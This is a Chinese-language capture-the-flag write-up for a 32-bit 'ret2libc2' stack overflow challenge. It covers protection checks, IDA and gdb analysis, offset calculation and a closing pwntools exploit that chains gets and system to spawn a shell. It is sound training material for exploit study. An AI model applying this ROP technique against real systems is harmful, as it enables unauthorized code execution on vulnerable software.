1、查看架构和保护措施
使用checksec <文件>查了架构和保护措施
几个方向:
没有PIE:ret2libc,ret2syscall,ret2text,ret2shellcode
开启NX:ret2libc,ret2syscall,ret2shellcode
使用file <文件>查看链接方式
该文件属于动态链接
2、确定方向
在Function Window 界面发现了疑似后门的函数secure
secure函数调用了system函数,但是system函数的参数不是“/bin/sh”,也就没办法获取shell,但是system函数在plt段生成了一个表项
按Shift+F12,来到文件的全部字符串界面,没有发现可以作为参数的“/bin/sh”字符串
在Function Window 界面发现了gets函数,且gets函数位于plt段
观察main函数,发现没有泄露局部变量s地址的函数,所以我们不能将s作为参数传递给gets函数(后面会讲到通过ROP返回到printf函数然后泄露s的地址)
来到全局文本指令界面,然后去看bss段有没有全局变量,最后发现了全局变量buf2(没有开启PIE,则程序固有的text,data,bss段的地址不会变化)
结合前面已经收集到的信息:开启了NX保护+动态链接+system在plt段生成了一个表项+没有发现可以作为参数的“/bin/sh”字符串+发现了gets函数的plt表项+发现了全局变量buf2,所以这个是ret2libc
记录地址信息(尽量都尝试,因为在特殊情况下,有些方法分析得出的地址可能会出错)
system函数的plt地址
根据IDA静态分析得出
根据gdb动态调试得出
根据pwntools的elf文件对象得出(对象写在python脚本里)
gets函数的plt地址
根据IDA静态分析得出
根据gdb动态调试得出
根据pwntools的elf文件对象得出(对象写在python脚本里)
全局变量buf2的地址
根据IDA静态分析得出
根据pwntools的elf文件对象得出(对象写在python脚本里)
3、寻找危险函数
在main函数的汇编界面,按F5反编译成C语言代码
分析main函数的主逻辑
setvbuf设置缓冲区,没有漏洞
puts没有漏洞
printf特定条件下有漏洞
gets函数向main函数的局部变量s写入无限长的字节数据,存在漏洞
4、计算偏移量
IDA静态分析得出:s到ret_addr的距离为0x64+0x4=0x68
gdb动态调试求偏移量
①gdb <文件>
②b mian 或者start进入到程序的入口(当面对较复杂时,在我们想要的位置上打断点,具体会在ret2libc3介绍)
③使用r命令,如果有断点,停在断点处;
各个窗口如图所示
④在“DISASM”反汇编窗口观察程序执行逻辑,输入ni,进行单步过操作
⑤一直步过到“gets函数”,我们不需要进入到gets函数的内部,此时终端处于等待用户输入的状态(规律:凡是库函数都不需要进入函数内部)
输入’aaaa‘,(根据程序的位数输入4位还是8位的数据),然后执行stack <数字>查看任意多行的栈空间的情况
观察’aaaa‘数据最后存放在0xffffd14c的位置上,这就是s的地址,返回地址就是ebp的下一单元
⑥计算s到ret_addr的偏移量
s的地址:0xffffd14c
ret_addr:0xffffd1bc(其实gdb已经告诉我们这个地址里的内容就是_libc_start_main函数下一条指令:add esp 0x10 的地址)
使用gdb自带的计算距离的指令:distance <地址1> <地址2>
distance 0xffffd14c 0xffffd1bc
偏移量为:0x70
5、编写exp
from pwn import*
r=process('./ret2libc2')
sys_adr=0x08048490
gets_adr=0x08048460
buf2_adr=0x0804A080
payload=b'A'*0x70+p32(gets_adr)+p32(sys_adr)+p32(buf2_adr)+p32(buf2_adr)
r.sendline(payload)
r.sendline('/bin/sh')
r.interactive()